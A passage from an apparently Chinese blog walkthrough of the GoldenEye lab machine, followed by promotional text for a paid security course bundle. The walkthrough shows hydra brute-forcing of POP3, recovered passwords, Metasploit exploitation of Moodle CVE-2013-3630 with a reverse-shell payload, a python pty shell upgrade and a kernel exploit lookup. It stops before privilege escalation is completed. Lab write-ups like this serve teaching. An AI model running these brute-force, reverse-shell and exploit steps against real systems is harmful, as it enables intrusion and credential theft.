这里又看到一个人名doak
我们将他写入我们的txt中
继续拿去爆破hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3这里也可以-l指定用户名hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3
爆破出来login: doak password: goat
继续用nc去连接查看信息
邮件消息说，为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名：dr_doak
密码：4England！
回到之前浏览器界面登陆一下
有一个版本号有一个txt，打开txt看看有什么好东西：
还是那句话英语太烂了，拿去翻译一下
他说更多的东西在图片的目录里，那我们看看吧
是上面这张图片下载下来wget http://192.168.10.134/dir007key/for-007.jpg
这里我们可以用exiftool（图虫）看一下图片里有没有什么隐藏信息，这里涉及一些ctf知识，大家不用担心，不会咱们就去查。
一眼就看到这里很奇怪是个base64编码的我们去解码一下
解码的结果是xWinter1995x!其中有说，这是管理员用户的密码。管理员用户身份继续登陆应用程序。那就可以试试用户名：admin密码：xWinter1995x!的登陆
成功进入到管理员的界面，可以看到我们的管理员界面了该干嘛？getshell干嘛，愣着啊！一些常见getshell手段：文件包含漏洞、SQL注入漏洞、文件上传漏洞、暴力破解、木马攻击。如果我们知道该系统存在的历史漏洞，我们也可以通过历史漏洞来拿shell。
通过搜索可以看到我们可以利用漏洞CVE-2013-3630
这里我们可以利用msf这款工具：Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。
msfconsole #进入MSF框架攻击界面
search moodle #查找 moodle类型漏洞
use 1 #调用1 exp
show options #查看需要什么条件
看到这里也有我们之前找的漏洞CVE-2013-3630
在use 1调用exp，在show options看一下需要什么条件。
根据给出的一个一个设置：
set username admin #设置用户名
set password xWinter1995x! #设置密码
set rhost severnaya-station.com #设置：rhosts
set targeturi /gnocertdir #设置目录： /
然后在设置payload让他回弹set payload cmd/unix/reverse
在输入show options看看还需要设置什么。
需要设置LHOST，本机IP是192.168.10.132，输入set lhost 192.168.10.132让他回来找咱们，这里我们还不可以run。我们还需要修改执行PSpellShell，在次登陆admin的账户依次点击
改成PSpellShell在点击保存
然后就可以run了
这里显示已经成功建立会话，看一下现在的用户whoami
看看有没有装python，如果装了python的话可以输入python -c 'import pty; pty.spawn("/bin/bash")'这是一个 Python 命令，用于在交互式 Bash shell 中执行命令。命令中 pty 模块提供了一个伪终端接口，使得可以在终端上执行命令并输出结果。具体来说，pty.spawn(“/bin/bash”) 命令会创建一个 Bash 进程，并将其连接到伪终端。然后，你可以在 Bash shell 中执行任意命令，并且可以使用 TAB 键自动完成命令和路径。这个命令通常被用于在渗透测试和攻击中，以获取更高的权限或者用于维持对目标系统的访问。它可以帮助攻击者欺骗目标系统，使其认为攻击者已经获得了更高的权限或控制权。
现在我们是已经拿到了该主机的权限，接下来要做的就是提权了，首先查看下该主机版本号uname -a
这里可以看到是Linux ubuntu 3.13.0版本的，那么接下来我们查一下有没有攻击脚本给我们利用一下
还真有
看到这里是由gcc编译的，所以对方的主机中需要安装gcc，这里看看gcc安装了没gcc -h很明显并没有安装。
在cc -h看下有没有安装cc编译，可以看到存在该目录。
在我们kali攻击机中也有漏洞库的可以通过searchsploit 37292查看
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！
由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新
如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）
如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
如果你想要入坑黑客&网络安全，笔者给大家准备了一份：282G全网最全的网络安全资料包评论区留言即可领取！
7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.
如果你零基础入门，笔者建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime；·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；·用Python编写漏洞的exp,然后写一个简单的网络爬虫；·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)；·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话，评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
5bed9635d63469.webp?x-oss-process=image/format,png)
一些笔者自己买的、其他平台白嫖不到的视频教程。
一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-Z8Xaak5s-1712466395452)]
1752
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
